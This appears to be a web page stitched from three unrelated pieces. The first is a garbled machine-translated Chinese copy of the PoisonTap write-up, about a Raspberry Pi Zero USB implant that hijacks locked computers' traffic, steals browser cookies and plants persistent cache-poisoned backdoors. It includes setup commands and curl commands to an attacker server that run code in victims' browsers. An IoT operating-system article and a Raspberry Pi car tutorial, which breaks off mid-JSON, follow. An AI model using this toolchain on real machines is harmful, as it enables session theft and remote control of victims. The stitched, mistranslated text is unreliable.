由@SamyKamkar創建||https://samy.pl
當PoisonTap(Raspberry Pi Zero&Node.js)插入到受鎖/受密碼保護的計算機中時,它:
通過USB(或Thunderbolt)模擬以太網設備
劫持來自機器的所有互聯網流量(盡管是低優先級/未知網絡接口)
虹吸并存儲來自網絡瀏覽器的HTTP Cookie和會話,用于Alexa前100萬個網站
將內部路由器暴露給攻擊者,使其可通過出站WebSocket和DNS重新綁定(遠程訪問Matt Austin進行重新綁定)!
在HTTP緩存中為數十萬個域和常見的Javascript CDN URL安裝一個持久的基于Web的后門,所有這些都可以通過緩存中毒訪問用戶的cookie
允許攻擊者遠程強制用戶使用任何退回的域中的用戶的Cookie進行HTTP請求和代理回復(GET&POST)
它不要求機器被解鎖
后門和遠程訪問仍然存在,即使在設備被刪除并且攻擊者之后移動
(Ara令人難以置信的HTML5畫布動畫)
PoisonTap避免了以下安全機制:
密碼保護鎖屏
路由表優先級和網絡接口服務訂單
同源政策
X-框架,選項
HttpOnly Cookies
SameSite cookie屬性
雙因素/多因素認證(2FA / MFA)
DNS固定
跨原始資源共享(CORS)
HTTPS的cookie保護當安全 cookie的標志和HSTS未啟用
PoisonTap是為$ 5 Raspberry Pi Zero而設計的,除了micro-USB電纜和microSD卡之外,還可以使用任何其他組件,或者可以使用以太網到USB / Thunderbolt加密狗的任何Raspberry Pi(1/2/3)工作,或可以在可以模擬USB小工具的其他設備上工作,如USB Armory和LAN Turtle。
視頻中的實時演示和更多詳細信息:
聯絡點: @SamyKamkar //https://samy.pl
發布日期: 2016 年 11月16日
源代碼和下載: https://github.com/samyk/poisontap
PoisonTap通過利用機器和網絡的各種機制(包括USB / Thunderbolt,DHCP,DNS和HTTP)的現有信任來產生級聯效應,以產生信息滲透,網絡訪問和半永久后門的安裝的雪球效應。
簡而言之,PoisonTap執行以下操作:
網絡劫持
攻擊者將PoisonTap(如武器化的Raspberry Pi Zero)插入鎖定的計算機(即使計算機受密碼保護)
PoisonTap模擬以太網設備(例如,通過USB / Thunderbolt的以太網) - 默認情況下,Windows,OS X和Linux識別以太網設備,自動將其作為低優先級網絡設備加載并執行DHCP請求,即使機器被鎖定或密碼保護
PoisonTap響應DHCP請求并向機器提供IP地址,但是DHCP響應是為了告訴機器整個IPv4空間(0.0.0.0 - 255.255.255.255)是PoisonTap本地網絡的一部分,而不是一個小子網(例如192.168.0.0 - 192.168.0.255)
通常,如果輔助網絡設備連接到一臺機器,那么它將比現有的(受信任的)網絡設備的優先級低,并且不會取代網關以進行互聯網流量,這是不重要的,但是...
由于“互聯網流量”的“LAN流量”的優先級,任何路由表/網關優先級/網絡接口服務訂單安全性被繞過,
PoisonTap利用此網絡接入,甚至作為一個低優先級的網絡設備,因為該子網 A的低優先級的網絡設備比給予更高的優先級網關的的(默認路由)最高優先級的網絡設備
這意味著如果流量注定為1.2.3.4,通常這個流量會達到主(非PoisonTap)網絡設備的默認路由/網關,PoisonTap實際上會獲得流量,因為PoisonTap“本地”網絡/子網據說包含1.2 .3.4,存在的其他IP地址;)
因此,即使機器連接到具有較高優先級的網絡設備和正確的網關(真正的WiFi,以太網等),所有互聯網流量都會超過PoisonTap。
餅干虹吸
只要Web瀏覽器運行后臺,開放頁面之一可能會在后臺執行HTTP請求(例如,加載新廣告,將數據發送到分析平臺,或者只是繼續跟蹤您的網頁)運動)通過AJAX或動態腳本/ iframe標簽
您可以自己看到這一點,進入您的devtools /檢查員(通常為Cmd + Shift + I或Ctrl + Shift + I),訪問訪問量很大的網站,點擊網絡標簽,并觀看遠程資源繼續訪問即使你在頁面上沒有采取任何行動
根據此HTTP請求,由于所有流量退出到PoisonTap設備上,PoisonTap DNS即時傳播返回自己的地址,導致HTTP請求命中PoisonTap Web服務器(Node.js)
如果DNS服務器指向PoisonTap無法獲得特權的內部IP(LAN),攻擊將繼續發揮作用,因為內部DNS服務器將為各種被攻擊的域產生公共IP地址,而這是公共IP地址PoisonTap已經劫持
一旦內部DNS服務器做出響應,Web瀏覽器就會觸發公共IP,最終在任一情況下擊中PoisonTap Web服務器(Node.js)
當Node Web服務器接收到請求時,PoisonTap會響應一個可以解釋為HTML或Javascript的響應,兩者都能正常執行(許多網站將在后臺請求中加載HTML或JS)
HTML / JS不可知頁面然后生成許多隱藏的iframe,每個iframe跨不同的Alexa-top-100萬域
域名上的任何“X-Frame-Options”安全性被忽略,因為PoisonTap現在是HTTP服務器,并選擇要發送給客戶端的頭文件
隨著對站點的每個iframe HTTP請求(例如http://nfl.com/PoisonTap),HTTP Cookie從瀏覽器發送到被PoisonTap劫持的“公共IP”,它迅速記錄cookie /身份驗證信息將數萬個用戶的Cookie記錄到PoisonTap中
任何“HttpOnly”cookie安全性被繞過,并且這些cookie被捕獲,因為在域本身上沒有執行Javascript,而是僅用于首先加載iframe
任何跨原始資源共享或同源策略安全性被繞過,因為訪問域看起來對瀏覽器是合法的
因為我們正在抓取Cookie而不是憑據,所以當攻擊者使用cookie登錄時,網站上實現的任何2FA / MFA都將被繞過。這是因為我們還沒有實際執行的登錄功能,而是繼續已經登錄這不會話不會觸發雙因素身份驗證
如果服務器正在使用HTTPS,但是Cookie并未明確設置Secure Cookie標志,則HTTPS保護被繞過,并將該cookie發送到PoisonTap
可遠程訪問的基于Web的后門
雖然PoisonTap正在產生成千上萬的I幀,迫使瀏覽器加載每一個,這些iframe會并不只是空白頁面,而是HTML +的Javascript后門被無限期緩存
因為PoisonTap強制將這些后門緩存在每個域上,所以后門綁定到該域,使攻擊者能夠使用域的cookie,并在將來啟動同源請求,即使用戶當前未登錄
例如,當http://nfl.com/PoisonTap iframe加載時,PoisonTap接受轉移的Internet流量,通過Node web服務器響應HTTP請求
添加額外的HTTP頭以無限期緩存該頁面
該頁面的實際響應是HTML和Javascript的組合,它會向攻擊者的Web服務器(通過Internet而不是PoisonTap設備)生成一個持久的WebSocket,
WebSocket保持打開,允許攻擊者在將來的任何時間連接回退回機器,并執行任何具有后門實現的源代碼(Alexa的前100萬個站點 - 見下文)
如果后門在一個站點(例如,nfl.com)上打開,但用戶希望攻擊不同的域(例如pinterest.com),攻擊者可以將nfl.com上的iframe加載到pinterest.com后門(http://pinterest.com/PoisonTap)
再次,域上的任何“X框架選項”,跨原始資源共享和同源策略安全性完全被忽略,因為請求將觸發PoisonTap離開的緩存,而不是真正的域
內部路由器后門和遠程訪問
一個網絡PoisonTap不能劫持是真實網絡接口的實際LAN子網(例如,如果用戶的wifi子網為192.168.0.x,則該網絡不受影響),但...
PoisonTap強制將一個后門緩存在一個特殊的主機上,特別是目標路由器的IP前身為“.ip.samy.pl”,例如192.168.0.1.ip.samy.pl,本質上是產生持久的 DNS重綁定攻擊
當使用PoisonTap作為DNS服務器(受害者使用公共DNS服務器)時,PoisonTap會臨時響應專門的PoisonTap IP(1.0.0.1),這意味著當時的任何請求都將觸發PoisonTap Web服務器
如果DNS服務器設置為內部網絡(例如192.168.0.x),則會另外特別要求1.0.0.1 **。pin。** ip.samy.pl告訴我的專用DNS服務器(在公共互聯網上)暫時響應任何[ip.address] .ip.samy.pl地址與“固定”地址(1.0.0.1)幾秒鐘
然后,PoisonTap在http://192.168.0.1.ip.samy.pl/PoisonTap上快速設置了一個后門,該漏洞目前指向1.0.0.1的PoisonTap設備,允許從PoisonTap設備訪問并緩存后門
DNS綁定和DNS重新綁定的安全性被繞過由于DNS綁定表的耗盡,由于以前成千上萬的請求,并且將來不需要重新綁定,這使得這種攻擊持續了很長一段時間(由于馬特奧斯汀與我分享這次攻擊!)
現在,一個后門被強制緩存到http://192.168.0.1.ip.samy.pl/PoisonTap,任何將來對192.168.0.1.ip.samy.pl的請求將會打到未被解除的 IP地址,導致192.168.0.1要解決,直接指向路由器
這意味著如果通過后門遠程加載iframe中的192.168.0.1.ip.samy.pl/PoisonTap主機,您現在可以對內部路由器上的任何其他頁面執行AJAX GET / POSTs ,完全遠程,從而允許遠程訪問內部路由器
這可能導致攻擊者可能從未訪問過的路由器的其他攻擊,例如用于覆蓋DNS服務器的路由器上的默認管理員憑據,或其他身份驗證漏洞
DNS服務器的概述:
[ip.addy] .ip.samy.pl 通常用[ip.addy]
192.168.0.1.ip.samy.pl - > 192.168.0.1(A記錄)
[ip.addy] .pin.ip.samy.pl 暫時(?5 秒)分* .ip.samy.pl到[ip.addy]
1.0.0.1.pin.ip.samy.pl - > 1.0.0.1
192.168.0.1.ip.samy.pl - > 1.0.0.1(A記錄,短TTL)
(約5秒鐘后)
192.168.0.1.ip.samy.pl - > 192.168.0.1(A記錄)
其他可遠程訪問的基于Web的后門
此外,PoisonTap替代了成千上萬種常見的基于CDN的Javascript文件,例如Google和jQuery CDN,使用正確的代碼加上一個后門,使攻擊者可以訪問任何加載受感染的基于CDN的Javascript文件的域
因為每個域都有一個后門,這樣就可以讓攻擊者遠程強制后退的瀏覽器在幾乎任何主要的域上執行相同的起始請求(AJAX GET / POST),即使受害者目前沒有任何打開的窗口域
后門將現在生活在任何其他網站上,當受害者訪問該網站時,還會使用這些受感染的基于HTTP的CDN Javascript框架之一
服務器端安全性
如果您正在運行一個Web服務器,那么防范PoisonTap就很簡單:
至少使用HTTPS進行認證和驗證的內容
老實說,您應該專門使用HTTPS,并始終將HTTP內容重定向到HTTPS,以防止用戶被欺騙提供憑據或通過HTTP提供其他PII
確保Cookie上啟用了安全標志,防止HTTPS Cookie通過HTTP泄漏
使用遠程JavaScript資源時,請使用Subresource Integrity腳本標記屬性
使用HSTS來防止HTTPS降級攻擊
桌面安全
將水泥添加到USB和Thunderbolt端口可以有效
每次離開機器時關閉瀏覽器都可以工作,但完全不切實際
禁用USB / Thunderbolt端口也是有效的,盡管也是不切實際的
鎖定電腦沒有任何效果,因為網絡和USB堆棧在機器被鎖定時運行,但是,進入加密睡眠模式,需要密鑰來解密內存(例如FileVault2 +深度睡眠)解決了大多數問題,作為您的瀏覽器將不再提出請求,即使喚醒
源代碼: https://github.com/samyk/poisontap
注意:如果您發現設備不是自動作為以太網控制器(例如Windows的舊版本),則可以在pi_startup.sh中更改VID和PID
#指令從https://gist.github.com/gbaman/50b6cca61dd1c3f88f41調整sudo bash#如果Raspbian BEFORE甚至-10,那么運行下一行:BRANCH = next rpi-updateecho -e “ \ nauto usb0 \ nallow-hotplug usb0 \ niface usb0 inet static \ n \ taddress 1.0.0.1 \ n \ tnetmask 0.0.0.0 ” >> / etc / network / interfaces echo “ dtoverlay = dwc2 ” >> / boot /config.txt echo -e “ dwc2 \ ng_ether ” >> / etc / modulessudo sed -in-place “ / exit 0 / d ” /etc/rc.local echo “ / bin / sh /home/pi/poisontap/pi_startup.sh ” >> /etc/rc.localmkdir / home / pi / poisontapchown -R pi / home / pi / poisontapapt-get update && apt-get升級apt-get -y安裝isc-dhcp-server dsniff screen nodejs
將dhcpd.conf放在/etc/dhcp/dhcpd.conf中,然后將其他文件放在/ home / pi / poisontap中,然后重新啟動以確保一切正常。
repo中有多個文件,它們在不同的方面使用。列表:
backdoor.html - 每當一個http:// hostname / PoisonTap URL被命名為exfiltrate cookies時,這個文件是作為強制緩存的內容返回的。它包含一個后門,它產生一個出站的websocket到samy.pl:1337(可調整到任何主機/端口),等待命令從服務器繼續打開。這意味著當您在網站上加載iframe(例如http:// hostname / PoisonTap)時,即使在從機器中刪除PoisonTap之后,這也是填充的內容。
backend_server.js - 這是您在Internet可訪問的服務器上運行的Node.js服務器。這是backdoor.html連接的(例如,samy.pl:1337)。這是與您連接的命令相同的服務器,以發送到您的PoisonTapped小型機器,例如
#流行警惕受害者 卷曲 ' http://samy.pl:1337/exec?alert("muahahahaha“)‘ #設置在受害人一個cookie 卷曲 ’ http://samy.pl:1337/exec?document.cookie =“key = value” ' #強制受害者通過ajax加載一個url(注意,jQuery存儲在后門) curl'http: //samy.pl:1337/exec?$.get( " http:// 192.168.0.1.ip.samy.pl/login",function(d)\ {console.log(d)\})'
pi_poisontap.js - 這是通過Raspberry Pi Zero上的Node.js運行的,是HTTP服務器,負責處理由PoisonTap攔截的任何HTTP請求,存儲虹吸cookie,并注入緩存的后門。
pi_startup.sh - 在Raspberry Pi Zero啟動時運行,以便將設備設置為模擬USB以太網小工具,設置我們的惡意DHCP服務器,允許流量重新路由,DNS欺騙,并啟動pi_poisontap.js以上。
target_backdoor.js - 此文件是與任何CDN相關的Javascript文件,因此后門他們,例如Google CDN的jQuery網址。
target_injected_xhtmljs.html - 這是在受害者機器上注入到無意/后臺HTTP / AJAX請求中的代碼,并產生了整個攻擊。它的構造方式是將其解釋為HTML或Javascript,并仍然執行相同的代碼。另外,驚人的HTML5畫布是由令人難以置信的Ara oen CodePen,是太驚人,不包括。這是當頁面被PoisonTap接管時出現的圖形化瘋狂。
poisontap.cookies.log - 一旦用戶的機器開始向PoisonTap發送HTTP請求,就會生成此文件,并將該cookie與瀏覽器及其所屬的相關聯的URL /域一起記錄下來。
問:如何添加要退回的其他域?
target_injected_xhtmljs.html
由
getDoms()
函數設置。這本身就由
alexa1m.sh
repo根目錄中的腳本填充。如果您希望在此列表中添加其他域名,您可以簡單地修改返回呼叫
getDoms()
。
A:要退回的域列表
問:您如何使用捕獲的Cookie?
A:您可以直接從瀏覽器中的JavaScript控制臺使用Document.cookie API來設置Cookie。此StackOverflow文章還提供了一些Chrome特定的建議,例如Cookie檢查器Chrome擴展程序。
聯網操作系統的前景如何?會不會出現移動互聯網時代的爭霸局面?與傳統的個人計算機或個人智能終端(智能手機、平板電腦等)上的操作系統不同,物聯網操作系統有其獨特的特征。
這些特征是為了更好的服務物聯網應用而存在的,運行物聯網操作系統的終端設備,能夠與物聯網的其它層次結合的更加緊密,數據共享更加順暢,能夠大大提升物聯網的生產效率。
除具備傳統操作系統的設備資源管理功能外,物聯網操作系統還具備下列功能:
1.屏蔽物聯網碎片化的特征,提供統一的編程接口。
所謂碎片化,指的是硬件設備配置多種多樣,不同的應用領域差異很大。從小到只有幾K內存的低端單片機,到有數百M內存的高端智能設備。
傳統的操作系統無法適應這種"廣譜"的硬件環境,而如果采用多個操作系統(比如低端配置,采用嵌入式操作系統,高端配置設備,采用Linux等通用操作系統),則由于架構的差異,無法提供統一的編程接口和編程環境。
2.正是這種"碎片化"的特征,牽制了物聯網的發展和壯大。
物聯網操作系統則充分考慮這些碎片化的硬件需求,通過合理的架構設計,使得操作系統本身具備很強的伸縮性,很容易的應用到這些硬件上。
3.同時,通過統一的抽象和建模,對不同的底層硬件和功能部件進行抽象,抽象出一個一個的"通用模型",對上層提供統一的編程接口,屏蔽物理硬件的差異。
這樣達到的一種效果就是, 同一個APP,可以運行在多種不同的硬件平臺上,只要這些硬件平臺運行物聯網操作系統即可。
這與智能手機的效果是一樣的,同一款APP,比如微信,既可以運行在一個廠商的低端智能手機上,又可以運行在硬件配置完全不同的另一個廠商的高端手機上,只要這些手機都安裝了Android操作系統。
顯然,這樣一種獨立于硬件的能力,是支撐物聯網良好生態環境形成的基礎。
拉通物聯網產業的上下游,培育物聯網硬件開發、物聯網系統軟件開發、物聯網應用軟件開發、物聯網業務運營、網絡運營、物聯網數據挖掘等分離的商業生態環境,為物聯網的大發展建立基礎。類似于智能終端操作系統(iOS、Andriod等)對移動互聯網的生態環境培育作用。
如何降低物聯網應用開發的成本和時間?
物聯網操作系統是一個公共的業務開發平臺,具備豐富完備的物聯網基礎功能組件和應用開發環境,可大大降低物聯網應用的開發時間和開發成本;提升數據共享能力:統一的物聯網操作系統具備一致的數據存儲和數據訪問方式,為不同行業之間的數據共享提供了可能。
物聯網操作系統可打破行業壁壘,增強不同行業之間的數據共享能力,甚至可以提供"行業服務之上"的服務,比如數據挖掘等;為物聯網統一管理奠定基礎。
采用統一的遠程控制和遠程管理接口,即使行業應用不同,也可采用相同的管理軟件對物聯網進行統一管理,大大提升物聯網的可管理性和可維護性,甚至可以做到整個物聯網的統一管理和維護。
一般來說,物聯網操作系統由內核、通信支持(WiFi/藍牙、2/3/4G等通信支持、NFC、RS232/PLC支持等)、外圍組件(文件系統、GUI、Java虛擬機、XML文件解析器等)、集成開發環境等組成,基于此,可衍生出一系列面向行業的特定應用!
物聯網操作系統是行業應用得以茁壯生長和長期有效生存的基礎,只有具備了強大靈活的物聯網操作系統,物聯網這棵大樹才能結出豐碩的果實。
對于物聯網發展而言,“碎片化”是主要的問題,其中芯片、傳感器、通信協議、應用場景千差萬別,“山頭林立”。
比如無線通信標準,就有藍牙、Wi-Fi、ZigBee、PLC、Z-Wave、RF、Thread、Z-Wave、NFC、UWB、LiFi、NB-IoT、LoRa等等。很明顯,技術方案不統一,體系結構不一致,阻礙了物聯網的發展,也局限了互聯互通的范圍。
然而,各種操作系統可以支持不同的硬件、通信標準、應用場景。開源,有利于打破技術障礙和壁壘,提高互操作性和可移植性,減小開發成本,同時也適合開源社區的開發人員參與進來。
操作系統,是物聯網中一個十分關鍵的環節,而開源更佳助推了物聯網的開放和發展。
目前,開源操作系統在物聯網中的應用已經十分廣泛,以后也必將在物聯網中扮演越來越重要的角色。
手機市場呈現出Android和iOS兩家獨大的局面,而在物聯網體系中,操作系統也呈現出多樣性的特點,并不是一兩種操作系統可以支持所有的物聯網設備。
后附十大物聯網開源操作系統。
注:(微軟的Windows 10 for IoT 和 蘋果的 iOS,雖然也是很強大,但是因為閉源,不在本文介紹之列。)
1) Andorid Things
Andorid Things 是谷歌上周剛推出的物聯網操作系統,是去年推出的“Brillo”操作系統的更新版本,作為 Andorid 系統的一個分支版本,類似于可穿戴和智能手表用的Andorid Wear(實際上它也是一種物聯網操作系統)。
它使用一種名為 Weave的通信協議,實現設備與云端相連,并且與谷歌助手等服務交互。Android Things 面向所有Java開發者,不管開發者有沒有移動開發經驗。該操作系統將能夠支持一系列物聯網設備的計算平臺,其中包括英特爾Edison 平臺,NXP公司的Pico平臺,以及“樹莓派3”。
2) Contiki
Contiki,是一個開源的、容易移植的多任務操作系統,適用于內存受限的網絡任務。Contiki 項目的作者是瑞典計算機科學研究所的網絡嵌入式系統小組的Adam Dunkels 博士。
該系統只需要幾千字節或者幾百字節的內存,就能提供多任務操作系統環境和TCP/IP支持。它已經移植并成功運行于嵌入式微控制器平臺(TI MSP430,Atmel AVR)以及電腦、游戲機等平臺。它支持的協議有全標準 IPv6 和 IPv4,以及低功耗網絡標準:6lowpan、RPL、CoAP。
3) eLinux
eLinux,也稱為Embedded Linux,即嵌入式Linux 操作系統,該操作系統基于Linux 內核,是Linux 對于嵌入式系統的裁剪版,支持該操作系統的廠家、芯片和產品比較廣泛。該操作系統的維基主頁提供了開發、硬件、產品、廠家、社區等一系列相關信息。
4) FreeRTOS
FreeRTOS 是一個迷你的實時操作系統內核,功能包括:任務管理、時間管理、信號量、消息隊列、內存管理、記錄功能、軟件定時器、協程等,可基本滿足較小系統的需要。
FreeRTOS 操作系統是完全開源你的操作系統,具有源碼公開、可移植、可裁減、調度策略靈活的特點。
目前,該操作系統已經數百萬設備上部署,它號稱是“市場上領先的嵌入式實時操作系統”,能夠為微控制器和微處理器提供很好的解決方案。
5) mbed OS
這款操作系統由ARM開發,專門為運行ARM處理器的物聯網設備而設計。它包含了C++應用程序網絡,公司也提供其他開發工具和相關的設備服務器。
默認情況下,mbed 操作系統是事件驅動的單線程架構,而非多線程(實時操作系統)環境。 這確保了它可以擴展到尺寸最小、成本最低且功耗最低的物聯網設備。
ARM在移動設備端有著強大的市場占有率,所以這款操作系統實力和前景不可小覷。
6) Raspbian
Raspbian 是一款基于Debian,為樹莓派硬件而設計的操作系統。這個操作系統包括一些列的基礎程序和工具,保證樹莓派硬件的運行。
7) RIOT
RIOT,將自己稱為“友好的物聯網操作系統”,致力于開發者友好、資源友好、物聯網友好,關鍵的功能包括C/C++支持、多線程、能量效率、部分遵守POSIX等等。
RIOT 開源社區自2008年以來就啟動了。RIOT能夠在眾多平臺上運行包括嵌入式設備、PC、傳感器等。
8) Ubuntu Core
Ubuntu 是目前最流行的Linux 版本,而Ubuntu Core旨在將Ubuntu 帶向物聯網世界。它可以運行例如微軟Azure、 谷歌計算引擎、 亞馬遜彈性云計算服務,也可以運行在例如BeagleBone Black 和樹莓派等硬件上。
9) Huawei LiteOS
Huawei LiteOS 是華為面向IoT領域,構建的“統一物聯網操作系統和中間件軟件平臺”,具有輕量級(內核小于10k)、低功耗、互聯互通、安全等關鍵能力。Huawei LiteOS 目前主要應用于智能家居、穿戴式、車聯網、智能抄表、工業互聯網等 IoT 領域的智能硬件上,還可以和LiteOS生態圈內的硬件互聯互通,提高用戶體驗。
Liteos操作系統具有能耗最低,尺寸小、響應快等特點,也建立了開源社區,能夠支持的芯片例如海思的PLC芯片HCT3911、媒體芯片3798M/C、IPCamera芯片Hi3516A,以及LTE-M芯片等。
10) Tizen
Tizen,Linux基金會和LiMo基金會,聯合英特爾和三星電子,共同開發的開源操作系統,它可以滿足物聯網設備生態系統(包括設備制造商、手機運營商、應用開發者、獨立軟件服務提供商)的需求,應用于手機、電視、穿戴等多個產品。
Tizen底層平臺相關API按照HTML5的形式公開出來,服務將涵蓋通信、多媒體、相機、網絡、社區媒體等。三星已經售賣了幾款搭載該操作系統的產品,是它的最大支持者。
當然,物聯網操作系統還不僅僅是以上這些,隨著物聯網的快速發展,必將進一步形成眾所心儀的對象,那時候也可能出現一家獨大的局面。
目前既然行業如此碎片化,那就先百家爭鳴,百花齊放,最終讓市場來決定!
未來將是物聯世界,讓我們相約2019年11月19-21日,相約2019(第三屆)全球物聯網大會—尋找思考者!
——————本文完——————
聲明:本文系《洞悉——物聯網發展1000問》系列文章第二十三篇,旨在希望通過系統性與行業專業視角就物聯網產業當前發展現狀與經濟潛力予以分析和分享。IOT物聯網,萬物互聯,互聯萬物。
作者:王正偉(物哥 WXID:iot-wang)中關村物聯網產業聯盟秘書長 全球物聯網大會主席 本文系作者原創轉載請注明出處
更換封面
00:15 視頻尚未發布,暫時無法播放
前言
智能小車,自娛自樂,希望通過該分享幫助更多愛好者們化繁為簡,待我完成到第三季,我將會把程序放出來拱大家使用,我準備分三季來實現,APP后臺部署在阿里小程序云,通過阿里云MQTT消息隊列服務,來完成指令控制,并實現事件日志機制。
第一季實現小車的控制目標
1、實現小車4驅控制
2、實現攝像頭實時查看,借助反向代理來完成內外網的通信
3、實現指令通過阿里云微消息隊列MQTT來交互
4、設計APP端的控制界面實現
第二季實現目標
1、實現攝頭云端控制
2、人臉檢測
3、打包容器
4、熱體紅外+超聲波測距+濕度溫度
第三季實現目標
思考中。。
第一季開發準備
硬件
軟件
硬件連接
整體效果
環境部署
阿里云應用
云應用是面向小程序應用場景,為開發者提供的一鍵構建后端應用運行環境、后端服務部署、運維監控等能力的一站式小程序部署服務。
我們需要申請一個云應用充當小程序的服務器以及fpc服務器。現在阿里推出繁星計劃,可以免費申請2個月的測試環境以及一個月的生產環境,無需申請,直接在應用界面新建新運用,創建詳情請參考文檔
在控制臺獲取服務器ip、用戶名(默認root)、密碼(需要修改默認密碼,然后重啟服務器),通過SSH工具連接,用于部署下面步驟
MJPG-Streamer
MJPG-Streamer是一個命令行應用程序,它將JPEG幀從一個或多個輸入插件復制到多個輸出插件。它可用于通過基于IP的網絡將JPEG文件從網絡攝像頭流式傳輸到各種類型的查看器,如Chrome,Firefox,Cambozola,VLC,mplayer和其他能夠接收MJPG流的軟件。
sudo raspi-config
sudo apt-get update
sudo apt-get install subversion
sudo apt-get install libjpeg8-dev
sudo apt-get install imagemagick
sudo apt-get install libv4l-dev
sudo apt-get install cmake
sudo apt-get install git
sudo git clone https://github.com/jacksonliam/mjpg-streamer.git
cd mjpg-streamer/mjpg-streamer-experimental
make all
sudo make install
sudo wget http://www.linux-projects.org/listing/uv4l_repo/lrkey.asc && sudo apt-key add ./lrkey.asc
修改sources.list,在末尾添加源,并安裝uv4l uv4l-raspicam,然后重啟
sudo nano /etc/apt/sources.list
#末尾添加,保存
deb http://www.linux-projects.org/listing/uv4l_repo/raspbian/ wheezy main
sudo apt-get update
sudo apt-get install uv4l uv4l-raspicam
sudo reboot
重啟之后:
sudo pkill uv4l sudo apt-get update sudo apt-get install uv4l-uvc sudo apt-get install uv4l-xscreen sudo apt-get install uv4l-mjpegstream sudo reboot
再一次重啟之后開啟視頻流服務
sudo modprobe bcm2835-v4l2 ./mjpg_streamer -i "./input_uvc.so -d /dev/video0 -n -y -f 25 -r 640x480" -o "./output_http.so -n -w /usr/local/www"
然后打開瀏覽器輸入:http://raspberry-ip-address:8080/?action=stream
應該就可以看到Raspberry Pi Camera采集的動態視頻了,延遲大概不超過0.8秒吧。
frp
frp是一個快速反向代理,可幫助您將NAT或防火墻后面的本地服務器暴露給Internet。截至目前,它支持tcp&udp以及http和https協議,其中請求可以通過域名轉發到內部服務。
wget --no-check-certificate https://raw.githubusercontent.com/clangcn/onekey-install-shell/master/frps/install-frps.sh -O ./install-frps.sh
chmod 700
./install-frps.sh
./install-frps.sh install
然后一直回車(默認配置),知道全部安裝完成。安裝成功截圖
frps start
查看frps版本號
frps -v
我這邊安裝的是version 0.20.0,客戶端也要安裝對應版本的
3. 樹莓派部署frpc
由于我們服務器部署frps的版本是version 0.20.0,所以我們本地也要部署相同的版本
wget https://github.com/fatedier/frp/releases/download/v0.20.0/frp_0.20.0_linux_arm.tar.gz tar zxvf frp_0.20.1_linux_arm.tar.gz cd frp_0.14.1_linux_arm vi frpc.ini
修改 frpc.ini 文件
# frpc.ini [common] #服務器IP server_addr = x.x.x.x #服務器fpcs服務對應端口Bind port server_port = 5443 #服務端token oken = 你的服務端token [ssh] type = tcp local_ip = 127.0.0.1 local_port = 22 remote_port = 6000 #[]內名稱不能重復,標簽作用 [web_raspberry_web] type = http #端口號 對應本機視頻web服務器的端口 local_port = 8080 #配置穿透外網訪問域名,可設置多個 custom_domains = raspberry.你的域名.com
修改好frpc.ini后,啟動frpc客戶端。如果想在后臺運行,可在命令后加 &
./frpc -c frpc.ini
申請域名解析
將你的的域名主機記錄 raspberry A 記錄解析到你的服務器IP x.x.x.x
服務器部署 Nginx
Nginx (engine x) 是一個高性能的HTTP和反向代理web服務器,同時也提供了IMAP/POP3/SMTP服務。
Ubuntu16.04安裝及配置nginx
apt-get install build-essential
apt-get install libtool
sudo apt-get update sudo apt-get install libpcre3 libpcre3-dev
apt-get install zlib1g-dev
4.安裝ssl依賴庫
apt-get install openssl
安裝nginx
#下載最新版本: wget http://nginx.org/download/nginx-1.16.0.tar.gz #解壓: tar -zxvf nginx-1.11.3.tar.gz #進入解壓目錄: cd nginx-1.11.3 #配置: ./configure --prefix=/usr/local/nginx #編輯nginx: make 注意:這里可能會報錯,提示“pcre.h No such file or directory”,具體詳見:http://stackoverflow.com/questions/22555561/error-building-fatal-error-pcre-h-no-such-file-or-directory 需要安裝 libpcre3-dev,命令為:sudo apt-get install libpcre3-dev #安裝nginx: sudo make install #啟動nginx: sudo /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf 注意:-c 指定配置文件的路徑,不加的話,nginx會自動加載默認路徑的配置文件,可以通過 -h查看幫助命令。 #查看nginx進程: ps -ef|grep nginx
在瀏覽器輸入 http://raspberry.你的域名.com:8080
出現頁面則nginx部署成功
配置測試頁面
新建一個index.html文件,用于測試頁面,內容如下
<html>
<head>
<meta name="generator"
content="HTML Tidy for HTML5 (experimental) for Windows https://github.com/w3c/tidy-html5/tree/c63cc39" />
<meta http-equiv="Content-Type" content="text/html;" charset="UTF-8" />
<meta name="viewport"
content="width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0" />
<meta http-equiv="refresh" content="3" />
<title>樹莓派實時監控站</title>
</head>
<body>
<center>
<font size="20" face="微軟雅黑" color="#0074CD">
<b>樹莓派<br>
實時監控站</b>
</font>
<hr />
<iframe src="http://raspberry.gkiiot.com:8080/?action=stream" scrolling=no width="320" height="240"> </iframe> <!--修改此處-->
<br />
<p>
<font size="5" color="#269C5D">
<b>Design by James</b>
</font>
</p>
<p>
<font size="5" color="#269C5D">
<i>a Web Monitoring Based on Raspberry Pi</i>
</font>
</p>
</center>
</body>
</html>
將該文件替換在nginx配置的web路徑的index.html文件,例如/var/www/index.html
在瀏覽器輸入 http://raspberry.你的域名.com:8080
嘗試一下能否訪問,如果成功出現樹莓派實時監控頁面,則web頁面部署成功
阿里云微消息隊列MQTT
微消息隊列 MQTT 是阿里云推出的一款面向移動互聯網以及物聯網領域的輕量級消息中間件,針對移動互聯網以及物聯網 IoT 場景的消息傳輸特點,支持了包括 MQTT、STOMP、GB-808、新能源國標等主流通信協議
海創物聯開發平臺部署
海創開發平臺是海創科技有限公司開發的一款快速編程平臺,該平臺開發的組件能快速與PLC、GPIO、各式設備進行通訊,有豐富的API支持,基本你們想到的事情它都能干,非常適合做物聯網的網關控制中心
[{"id":"9e9c968e.24e348","type":"rpi-gpio out","z":"d99269c6.a2d0b8","name":"","pin":"29","set":true,"level":"0","freq":"","out":"out","x":720,"y":140,"wires":[]},{"id":"37f46ac8.666436","type":"rpi-gpio out","z":"d99269c6.a2d0b8","name":"","pin":"31","set":true,"level":"0","freq":"","out":"out","x":720,"y":180,"wires":[]},{"id":"5f130d8f.f55d84","type":"function","z":"d99269c6.a2d0b8","name":"控制","func":"switch(msg.payload)\n{\n case '0':return [{payload:0},{payload:0},{payload:0},{payload:0},{payload:0},{payload:0},{payload:0},{payload:0}];\n case '1':return [{payload:0},{payload:1},{payload:0},{payload:1},{payload:0},{payload:1},{payload:0},{payload:1}];\n case '2':return [{payload:1},{payload:0},{payload:1},{payload:0},{payload:1},{payload:0},{payload:1},{payload:0}];\n case '4':return [{payload:0},{payload:0},{payload:0},{payload:0},{payload:1},{payload:0},{payload:1},{payload:0}];\n case '3':return 